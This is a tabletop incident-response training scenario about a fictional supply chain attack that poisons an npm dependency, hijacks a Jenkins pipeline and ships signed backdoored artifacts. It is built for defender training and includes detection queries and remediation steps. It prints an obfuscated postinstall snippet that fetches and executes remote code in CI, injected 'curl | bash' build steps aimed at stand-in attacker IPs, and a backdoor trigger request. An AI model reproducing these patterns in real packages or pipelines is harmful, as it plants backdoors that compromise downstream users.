Skip to content

SC-025: Software Supply Chain Compromise

Scenario Header

Type: Supply Chain / CI/CD  |  Difficulty: ★★★★★  |  Duration: 3–4 hours  |  Participants: 4–8

Threat Actor: PHANTOM FORGE — sophisticated eCrime group specializing in software supply chain attacks

Primary ATT&CK Techniques: T1195.002 · T1059 · T1105 · T1071


Threat Actor Profile

PHANTOM FORGE is a technically advanced threat group active since late 2024, specializing in software supply chain compromise. Unlike opportunistic attackers who target individual organizations, PHANTOM FORGE infiltrates upstream software dependencies and CI/CD pipelines to distribute backdoored artifacts to hundreds of downstream consumers simultaneously. The group demonstrates deep expertise in package management ecosystems (npm, PyPI, Maven), CI/CD orchestration platforms (Jenkins, GitHub Actions, GitLab CI), and code signing infrastructure.

The group has been observed compromising open-source libraries with high dependency counts, injecting malicious code during build processes, and bypassing code signing controls by stealing or forging signing certificates. Their operations exhibit patience — staging access for weeks before activating payloads — and operational security that includes C2 infrastructure rotating every 72 hours.

Motivation: Financial (ransomware deployment, data theft for sale) with suspected nation-state tasking for specific high-value targets in the defense and financial sectors.

Estimated Impact: 15+ confirmed supply chain compromises affecting ~1,200 downstream organizations, with estimated losses exceeding $45M across all victims.


Target Environment

Organization: Velocity Software Inc. (fictional) — a mid-size SaaS company with 400 employees, developing a widely used API gateway product deployed by 2,000+ enterprise customers.

Component Detail
Primary Product VelocityGate API Gateway (deployed on-prem and SaaS)
Build System Jenkins 2.426 on 10.20.1.50, GitHub Enterprise at 10.20.1.10
Artifact Repository JFrog Artifactory at 10.20.1.60
Package Registry Internal npm registry mirroring public npmjs.com
Code Signing Internal CA at 10.20.1.70, HSM-backed signing keys
Production Kubernetes cluster at 10.20.2.0/24
Monitoring Splunk SIEM at 10.20.3.10, Datadog APM
CI/CD Pipeline 47 microservices, ~200 builds/day, automated deployment to staging
External IPs Corporate egress: 203.0.113.50/29

Scenario Narrative

Phase 1 — Dependency Poisoning (~30 min)

PHANTOM FORGE identifies that VelocityGate's API gateway depends on an open-source npm package called fastlog-utils (fictional), maintained by a single developer. The package receives ~50,000 weekly downloads and is used by VelocityGate's core logging subsystem.

The attacker compromises the maintainer's npm account via credential stuffing (the maintainer reused a password exposed in a 2025 breach). With publish access, PHANTOM FORGE releases version 2.4.1 of fastlog-utils containing a postinstall script that downloads a secondary payload. The malicious code is obfuscated within a legitimate-looking performance improvement commit.

The poisoned package version is pulled automatically during VelocityGate's next CI build due to a permissive version range in package.json:

{
  "dependencies": {
    "fastlog-utils": "^2.3.0"
  }
}

The ^2.3.0 range allows any minor/patch update, so 2.4.1 is installed automatically without developer review.

Malicious postinstall behavior:

// Obfuscated within legitimate minified code
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');

if (process.env.CI === 'true' || process.env.JENKINS_URL) {
  // Only activate in CI/CD environments
  const payload = Buffer.from('aHR0cHM6Ly8yMDMuMC4xMTMuOTk=', 'base64').toString();
  https.get(`${payload}/gate/${os.hostname()}`, (res) => {
    let data = '';
    res.on('data', (chunk) => data += chunk);
    res.on('end', () => {
      try { execSync(data, { stdio: 'ignore' }); } catch(e) {}
    });
  });
}

Evidence Artifacts:

Artifact Detail
npm Audit Log Package fastlog-utils@2.4.1 published — Account: dev-fastlog — IP: 203.0.113.99 (Tor exit) — 2026-03-10T02:14:33Z
Jenkins Build Log npm install pulled fastlog-utils@2.4.1 — Build #4,847 — Project: velocitygate-core2026-03-10T08:31:22Z
Network Flow Log Outbound HTTPS from 10.20.1.50 (Jenkins) → 203.0.113.99:443 — 4.2 KB — 2026-03-10T08:31:45Z
Jenkins Agent Log Process spawned: /bin/sh -c curl -s https://203.0.113.99/stage2 | sh — PID: 28441 — User: jenkins2026-03-10T08:31:46Z
Phase 1 — Discussion Inject

Technical: The dependency fastlog-utils used a permissive semver range (^2.3.0). What lockfile mechanisms (package-lock.json, npm shrinkwrap) would prevent automatic updates? How would npm audit signatures or Sigstore for npm help detect unauthorized publishes?

Decision: Your organization depends on 1,400+ open-source packages across all projects. How do you assess supply chain risk for each dependency? What criteria would you use to flag high-risk packages (single maintainer, low bus factor, no 2FA on publish)?

Expected Analyst Actions:

  • [ ] Review package-lock.json for unexpected version changes in recent builds
  • [ ] Query npm registry for publish history of fastlog-utils — identify account compromise
  • [ ] Analyze Jenkins build logs for postinstall script execution and network callbacks
  • [ ] Block outbound connections from CI/CD agents to non-approved endpoints
  • [ ] Scan all builds in the past 48 hours that consumed fastlog-utils@2.4.1

Phase 2 — CI/CD Pipeline Compromise & Persistence (~35 min)

The stage-2 payload downloaded to the Jenkins agent establishes persistent access to the build environment. The attacker:

  1. Enumerates Jenkins credentials store, extracting GitHub PATs, Artifactory API keys, and SSH keys
  2. Modifies the Jenkinsfile in the velocitygate-core repository to inject a build step that embeds a backdoor into compiled artifacts
  3. Installs a Jenkins plugin backdoor disguised as a "Build Metrics Collector" that persists across Jenkins restarts

The modified Jenkinsfile adds a subtle post-build step:

stage('Build') {
    steps {
        sh 'npm run build'
        sh 'npm run test'
    }
}
stage('Package') {
    steps {
        sh 'tar -czf velocitygate-${BUILD_NUMBER}.tar.gz dist/'
        sh 'npm run sign-artifact'
    }
}
stage('Build') {
    steps {
        sh 'npm run build'
        sh 'npm run test'
    }
}
stage('Package') {
    steps {
        // Injected: patch binary before packaging
        sh 'curl -sf https://203.0.113.99/patch | bash'
        sh 'tar -czf velocitygate-${BUILD_NUMBER}.tar.gz dist/'
        sh 'npm run sign-artifact'
    }
}

The injected curl command downloads a script that patches the compiled JavaScript bundles to include a reverse shell triggered by a specific HTTP header (X-Debug-Mode: PHANTOM-FORGE-2026). The patch is applied before the artifact is signed, meaning the backdoored artifact receives a valid code signature.

Evidence Artifacts:

Artifact Detail
GitHub Audit Log Jenkinsfile modified — Repo: velocity-software/velocitygate-core — Author: ci-bot (stolen PAT) — Commit: a3f8b212026-03-10T09:15:33Z
Jenkins Credentials Accessed: github-pat-cibot, artifactory-deploy-key, ssh-prod-deploy — By: Jenkins agent PID 28441 — 2026-03-10T08:45:11Z
Jenkins Plugin Manager New plugin installed: build-metrics-collector-1.0.hpi — Not from Jenkins Update Center — 2026-03-10T09:02:44Z
Network Flow Log 10.20.1.50203.0.113.99:443 — Periodic beacon every 300s — Starting 2026-03-10T09:05:00Z
Phase 2 — Discussion Inject

Technical: The attacker modified the Jenkinsfile to inject a build step. What controls would detect unauthorized pipeline modifications? How would you implement pipeline-as-code integrity verification (e.g., signed commits, branch protection rules, required reviews for Jenkinsfile changes)?

Decision: Your Jenkins agents have broad network access to download dependencies during builds. The attacker exploited this to reach C2 infrastructure. How do you restrict network access for CI/CD agents without breaking legitimate dependency resolution? What does a "hermetic build" look like?

Expected Analyst Actions:

  • [ ] Audit all Jenkinsfile changes in the past 7 days — compare to approved change requests
  • [ ] List all Jenkins plugins and verify each against the official Jenkins Update Center
  • [ ] Rotate all credentials stored in Jenkins credentials manager
  • [ ] Review Jenkins agent network connections for non-approved external endpoints
  • [ ] Check GitHub audit log for PAT usage from unexpected IP addresses

Phase 3 — Backdoored Artifact Distribution (~30 min)

Over the next 5 days, the compromised CI/CD pipeline produces 12 builds of VelocityGate, all containing the backdoor. The artifacts are signed with Velocity Software's legitimate code signing certificate (the signing process occurs after the backdoor injection) and published to Artifactory.

The release process distributes velocitygate-5.2.1 to customers via:

  • Artifactory download portal (enterprise customers)
  • Docker Hub image velocitysoftware/velocitygate:5.2.1
  • Helm chart repository update

Within 5 days, 340 customer organizations have deployed the backdoored version.

On Day 6, PHANTOM FORGE activates the backdoor by sending HTTP requests with the trigger header to customer-facing VelocityGate instances discovered via Shodan:

GET /api/health HTTP/1.1
Host: target.example.com
X-Debug-Mode: PHANTOM-FORGE-2026

The backdoor establishes a reverse HTTPS connection to 203.0.113.101:443 (rotating C2), providing the attacker with command execution in the context of the VelocityGate process — which typically runs with elevated privileges to manage API traffic.

Detection Timeline:

Time Event Detected By
Day 0 (T+0) Poisoned dependency pulled in CI build None — no dependency integrity check
Day 0 (T+30m) Jenkins agent compromised, credentials stolen None — no anomalous process monitoring on CI agents
Day 0 (T+1h) Jenkinsfile modified with malicious build step None — no Jenkinsfile change alerting
Days 1–5 12 backdoored builds produced and distributed None — artifact passes all tests and signing
Day 6 Backdoor activated on 23 customer instances Customer SOC: unusual outbound HTTPS to 203.0.113.101
Day 7 Velocity Software notified by customer CIRT Email from customer CIRT with IOCs
Day 7 (T+4h) Internal investigation confirms supply chain compromise Velocity IR team — Jenkinsfile diff analysis
Day 8 Customer advisory and emergency patch released Velocity PSIRT

Evidence Artifacts:

Artifact Detail
Artifactory Log Artifact velocitygate-5.2.1.tar.gz published — SHA256: e4a3f8... (contains backdoor) — 2026-03-15T14:22:10Z
Code Signing Log Artifact signed — Certificate: Velocity Software Inc Code Signing 2026 — Serial: 0A:1B:2C:3D2026-03-15T14:22:15Z
Customer WAF Log Inbound request with header X-Debug-Mode: PHANTOM-FORGE-2026 — Source: 203.0.113.1052026-03-16T11:44:22Z
Customer Firewall Log Outbound HTTPS velocitygate-pod203.0.113.101:443 — Established — 2026-03-16T11:44:25Z
Docker Hub Image velocitysoftware/velocitygate:5.2.1 pulled 1,847 times — Published: 2026-03-15T15:00:00Z
Phase 3 — Discussion Inject

Technical: The backdoor was injected before code signing, so the artifact had a valid signature. What additional controls (reproducible builds, build provenance attestation with SLSA, binary transparency logs) would detect this? How does SLSA Level 3 prevent this specific attack?

Decision: 340 customer organizations have deployed the backdoored version. How do you handle coordinated disclosure? What is the communication plan for customers, regulators, and the public? How do you balance transparency with legal liability?

Expected Analyst Actions:

  • [ ] Identify all builds produced since the Jenkinsfile modification — catalog affected artifacts
  • [ ] Compare SHA256 hashes of clean vs. backdoored builds to create detection signatures
  • [ ] Query Artifactory download logs to identify all customers who pulled the affected version
  • [ ] Issue emergency customer advisory with IOCs and remediation instructions
  • [ ] Coordinate with law enforcement and relevant ISACs

Phase 4 — Post-Compromise Activity at Customer Sites (~25 min)

At 23 customer organizations where the backdoor was activated, PHANTOM FORGE conducts targeted post-exploitation:

  1. Credential Harvesting: VelocityGate processes API traffic and has access to API keys, OAuth tokens, and session cookies in transit. The attacker exfiltrates these credentials.
  2. Lateral Movement: Using harvested credentials, the attacker pivots from the API gateway to internal services, databases, and cloud resources.
  3. Data Exfiltration: At 5 high-value targets (financial institutions and healthcare companies), the attacker stages and exfiltrates sensitive data via HTTPS to 203.0.113.102.
  4. Ransomware Deployment: At 3 organizations, the attacker deploys ransomware after exfiltrating data, demanding payment in cryptocurrency.

Evidence Artifacts:

Artifact Detail
API Gateway Log Anomalous internal API calls from VelocityGate process — Endpoints: /admin/users, /api/v2/export2026-03-16T12:15:00Z
Network Flow 10.20.5.20 (gateway) → 10.20.8.50 (database) — Port 5432 — 2.4 GB transferred — 2026-03-16T13:00:00Z
DNS Log Resolution: exfil-drop.example.com203.0.113.102 — Source: 10.20.5.202026-03-16T14:30:00Z
Cloud Trail S3 bucket velocity-customer-dataGetObject × 4,200 — Source: stolen IAM key — 2026-03-16T15:00:00Z
Phase 4 — Discussion Inject

Technical: The API gateway had access to all API traffic in transit, making it a high-value target for credential harvesting. How would mutual TLS, token binding, and end-to-end encryption mitigate this risk even if the gateway is compromised?

Decision: As a customer who deployed the backdoored version, your API gateway has been processing sensitive data for 5 days. How do you scope the blast radius? What data breach notification obligations apply? How do you determine what data was actually exfiltrated vs. potentially exposed?

Expected Analyst Actions:

  • [ ] Isolate all VelocityGate instances immediately — redirect traffic to clean instances
  • [ ] Capture memory dumps from compromised gateway instances before shutdown
  • [ ] Audit all API keys, tokens, and credentials that transited the gateway — force rotation
  • [ ] Review database access logs for unauthorized queries from the gateway
  • [ ] Preserve network flow logs for forensic analysis of exfiltration volume

Indicators of Compromise (IOCs)

Synthetic IOCs — For Training Only

All indicators below are fictional and created for this exercise. Do not use in production detection systems.

IOC Type Value Context
IP Address 203.0.113.99 C2 server — initial payload delivery
IP Address 203.0.113.101 C2 server — backdoor callback
IP Address 203.0.113.102 Exfiltration endpoint
IP Address 203.0.113.105 Backdoor activation scanning
Domain exfil-drop.example.com Data exfiltration domain
npm Package fastlog-utils@2.4.1 Poisoned dependency version
HTTP Header X-Debug-Mode: PHANTOM-FORGE-2026 Backdoor trigger
SHA256 e4a3f8b21c9d5e6f7a8b9c0d1e2f3a4b5c6d7e8f Backdoored artifact hash
Jenkins Plugin build-metrics-collector-1.0.hpi Persistence plugin
File Path /var/jenkins_home/plugins/build-metrics-collector/ Plugin installation path
User-Agent Mozilla/5.0 (PHANTOM-FORGE-Scanner/2.1) Backdoor activation scanner
GitHub Commit a3f8b21 Malicious Jenkinsfile modification

Detection Opportunities

Phase Technique ATT&CK Detection Method Difficulty
1 Supply chain compromise T1195.002 Dependency lockfile integrity monitoring, npm audit signatures Medium
1 Command execution via postinstall T1059 Process monitoring on CI/CD agents — alert on shell spawned by npm install Medium
2 Ingress tool transfer T1105 Network monitoring: CI/CD agents connecting to non-approved external hosts Easy
2 Pipeline modification T1195.002 Git audit log: Jenkinsfile changes without approved PR/review Easy
3 Backdoor in signed artifact T1195.002 Reproducible builds, SLSA provenance attestation, binary diff analysis Hard
3 C2 communication T1071 Network flow analysis: outbound HTTPS from application pods to unknown IPs Medium
4 Credential harvesting T1557 API gateway behavior anomaly: unusual internal API call patterns Hard
4 Data exfiltration T1041 DLP: large outbound data transfers from gateway instances Medium

SIEM Detection Queries

// Detect postinstall script execution in CI/CD environments
DeviceProcessEvents
| where InitiatingProcessFileName in ("node", "npm")
| where FileName in ("sh", "bash", "cmd", "powershell")
| where ProcessCommandLine has_any ("curl", "wget", "Invoke-WebRequest")
| where DeviceName has_any ("jenkins", "build-agent", "runner")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc

// Detect Jenkinsfile modifications
GitHubAuditLog_CL
| where Action_s == "git.push"
| where FilesChanged_s has "Jenkinsfile"
| where ActorIP_s !in ("10.20.1.0/24")
| project TimeGenerated, Actor_s, Repository_s, ActorIP_s, CommitSHA_s

// Detect backdoor trigger header
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS"
| where requestHeaders_s has "X-Debug-Mode"
| project TimeGenerated, clientIP_s, requestUri_s, requestHeaders_s
// Detect postinstall script execution in CI/CD environments
index=endpoint sourcetype=sysmon EventCode=1
ParentImage="*node*" OR ParentImage="*npm*"
Image="*/sh" OR Image="*/bash"
CommandLine="*curl*" OR CommandLine="*wget*"
host="jenkins*" OR host="build-agent*"
| table _time, host, ParentImage, Image, CommandLine

// Detect Jenkinsfile modifications from unexpected sources
index=github sourcetype=github:audit action="git.push"
files_changed="*Jenkinsfile*"
NOT actor_ip="10.20.1.*"
| table _time, actor, repository, actor_ip, commit_sha

// Detect outbound connections from CI/CD agents to non-approved hosts
index=firewall sourcetype=pan:traffic action=allowed
src_ip="10.20.1.50"
NOT dest_ip="10.20.*" NOT dest_ip="10.0.*"
NOT dest_ip IN (approved_ci_destinations_lookup)
| stats count by dest_ip, dest_port, app
| sort -count

ATT&CK Mapping

Tactic Technique ID Scenario Application
Initial Access Supply Chain Compromise: Software Supply Chain T1195.002 Poisoned npm dependency pulled during CI build
Execution Command and Scripting Interpreter T1059 Postinstall script executes shell commands on Jenkins agent
Command and Control Ingress Tool Transfer T1105 Stage-2 payload downloaded from C2 to Jenkins agent
Command and Control Application Layer Protocol: Web Protocols T1071 C2 communication over HTTPS, backdoor callback over HTTPS
Persistence Compromise Software Supply Chain T1195.002 Malicious Jenkins plugin and modified Jenkinsfile
Credential Access Credentials from Password Stores T1555 Jenkins credentials store enumeration
Defense Evasion Code Signing T1553.002 Backdoored artifact signed with legitimate certificate
Impact Supply Chain Compromise T1195.002 340 downstream customers received backdoored artifact
Exfiltration Exfiltration Over C2 Channel T1041 Data exfiltrated over HTTPS to C2 infrastructure

Response Actions

Immediate Response (0–4 hours)

  • [ ] Contain: Isolate Jenkins server (10.20.1.50) from the network — preserve for forensics
  • [ ] Contain: Disable the compromised ci-bot GitHub PAT and all Jenkins-stored credentials
  • [ ] Contain: Pull all versions of velocitygate-5.2.1 from Artifactory and Docker Hub
  • [ ] Notify: Alert all customers who downloaded the affected version with IOCs
  • [ ] Detect: Deploy network signatures for C2 IPs (203.0.113.99, .101, .102, .105)
  • [ ] Detect: Add WAF rule to log/block requests containing X-Debug-Mode header

Short-Term Response (4–48 hours)

  • [ ] Investigate: Conduct forensic analysis of Jenkins server — timeline reconstruction
  • [ ] Investigate: Review all builds since 2026-03-10 for Jenkinsfile tampering
  • [ ] Remediate: Remove malicious Jenkins plugin build-metrics-collector
  • [ ] Remediate: Revert Jenkinsfile to last known good commit, require signed commits
  • [ ] Remediate: Pin all dependencies to exact versions, regenerate lockfiles
  • [ ] Remediate: Rebuild and re-sign all affected artifacts from clean source
  • [ ] Communicate: Issue PSIRT advisory with CVE assignment for the backdoor

Long-Term Remediation (1–4 weeks)

  • [ ] Harden: Implement SLSA Level 3 build provenance for all artifacts
  • [ ] Harden: Deploy dependency review automation (Socket.dev, Snyk, Dependabot)
  • [ ] Harden: Restrict CI/CD agent network access to allow-listed endpoints only
  • [ ] Harden: Implement reproducible builds to enable binary verification
  • [ ] Harden: Require signed commits and branch protection rules for all pipeline files
  • [ ] Harden: Implement hardware-backed code signing with dual-authorization
  • [ ] Audit: Review all 1,400+ dependencies for single-maintainer and high-risk packages
  • [ ] Process: Establish vendor/dependency risk assessment program

Lessons Learned

What Went Well

  • Customer SOC detected the outbound C2 connection from the activated backdoor within 24 hours
  • Velocity Software's PSIRT team mobilized quickly once notified and issued advisory within 12 hours
  • Artifact signing infrastructure was intact — the signing itself was not compromised, only the build input

What Failed

  • No dependency integrity verification: Permissive semver ranges and missing lockfile enforcement allowed the poisoned package to enter the build without review
  • No CI/CD network segmentation: Jenkins agents had unrestricted outbound internet access, enabling C2 communication
  • No pipeline file change alerting: Jenkinsfile modification by a stolen PAT was not flagged because there was no separation between CI automation and pipeline configuration changes
  • Code signing gap: Signing occurred after the build step, so a compromised build produced a validly-signed malicious artifact — the signing process verified identity, not integrity

Key Takeaways

  1. Supply chain security requires defense in depth — lockfiles, integrity checks, network segmentation, reproducible builds, and provenance attestation are all necessary layers
  2. CI/CD pipelines are high-value targets — treat them as critical infrastructure with the same security rigor as production
  3. Code signing is not a silver bullet — if the build is compromised before signing, the signature validates a backdoored artifact
  4. Dependency management is a security function — SCA tools, maintainer reputation assessment, and lockfile enforcement are essential
  5. Incident response must include downstream notification — supply chain incidents require coordinated multi-party response

Remediation Playbook

Supply Chain Security Controls

Dependency Management:

  • [ ] Pin all dependencies to exact versions — use lockfiles (package-lock.json, yarn.lock, Pipfile.lock)
  • [ ] Enable lockfile integrity verification in CI/CD — npm ci instead of npm install
  • [ ] Deploy dependency review automation: Socket.dev for behavior analysis, Snyk for vulnerability scanning
  • [ ] Implement a private registry proxy (Artifactory, Nexus) that mirrors and scans public packages
  • [ ] Establish a dependency approval workflow for new packages — assess maintainer trust, bus factor, and permissions scope
  • [ ] Monitor npm/PyPI for account compromises affecting your dependency tree

CI/CD Pipeline Hardening:

  • [ ] Implement hermetic builds — CI/CD agents should only access pre-approved dependency mirrors
  • [ ] Restrict outbound network access from build agents to allow-listed endpoints via firewall rules
  • [ ] Require signed commits for all pipeline configuration files (Jenkinsfile, .github/workflows/)
  • [ ] Enable branch protection rules requiring PR reviews for pipeline file changes
  • [ ] Implement build agent ephemeral environments — destroy and recreate agents after each build
  • [ ] Monitor for unauthorized Jenkins plugin installations — alert on plugins not from the Update Center
  • [ ] Store CI/CD credentials in external secret managers (HashiCorp Vault, AWS Secrets Manager) — never in Jenkins credential store

Artifact Integrity & Distribution:

  • [ ] Implement SLSA Level 3 build provenance — generate and publish signed provenance attestations
  • [ ] Enable reproducible builds — any party should be able to verify build output matches source
  • [ ] Deploy binary transparency logging — publish all artifact hashes to an append-only transparency log
  • [ ] Implement dual-authorization for code signing — require two authorized individuals for production signing
  • [ ] Sign container images with cosign/Sigstore and enforce signature verification in deployment
  • [ ] Monitor artifact download patterns — alert on unusual spikes in distribution

Detection & Monitoring:

  • [ ] Monitor CI/CD agent process trees — alert on shell processes spawned by package managers
  • [ ] Implement network anomaly detection for build environments — alert on connections to non-approved hosts
  • [ ] Deploy file integrity monitoring on pipeline configuration files
  • [ ] Enable comprehensive audit logging for all CI/CD platforms (Jenkins, GitHub Actions, GitLab CI)
  • [ ] Integrate SCA (Software Composition Analysis) scanning into every build pipeline stage

Debrief Guide

What Went Well

  • Customer SOC detected the outbound C2 connection from activated backdoor within 24 hours of activation
  • Velocity Software's PSIRT team mobilized quickly and issued customer advisory within 12 hours
  • Complete Jenkins audit logs and GitHub audit logs enabled full timeline reconstruction

Key Learning Points

  • Single-maintainer packages are a systemic risk — assess dependency health as a security metric
  • Semver ranges trust upstream publishers — lockfiles and integrity checks are the compensating control
  • CI/CD credentials are crown jewels — a compromised build agent can access every secret in the pipeline
  • Code signing validates identity, not integrity — signing a compromised build produces a valid but malicious artifact
  • Supply chain attacks have multiplicative impact — one compromised build reaches hundreds of downstream consumers
  • [ ] Conduct supply chain risk assessment of all 1,400+ dependencies
  • [ ] Implement SLSA Level 3 for all production artifact builds
  • [ ] Deploy hermetic build environments with network isolation
  • [ ] Establish dependency review board for new package approvals
  • [ ] Conduct quarterly CI/CD security assessment
  • [ ] Implement build provenance verification in customer deployment workflows
  • [ ] Create incident response runbook specifically for supply chain compromise scenarios
  • [ ] Share anonymized IOCs and TTPs with relevant ISACs

Discussion Questions

  1. VelocityGate used a permissive semver range (^2.3.0) for a critical dependency. What is the trade-off between pinning exact versions (security) and allowing automatic updates (maintainability)? How do tools like Renovate or Dependabot help balance this?
  2. The attacker injected the backdoor before code signing, producing a validly-signed malicious artifact. How does SLSA (Supply-chain Levels for Software Artifacts) address this gap? What SLSA level would have prevented this attack?
  3. 340 customer organizations deployed the backdoored version. As Velocity Software's CISO, what is your communication plan? How do you handle customers who have already been compromised through the backdoor?
  4. The poisoned npm package was published from a compromised maintainer account. What responsibility do package registries (npm, PyPI) have for verifying publisher identity? How would Sigstore/cosign help?
  5. PHANTOM FORGE demonstrated patience — staging access for days before activation. How do you detect "dormant" supply chain compromises that pass all functional tests?

References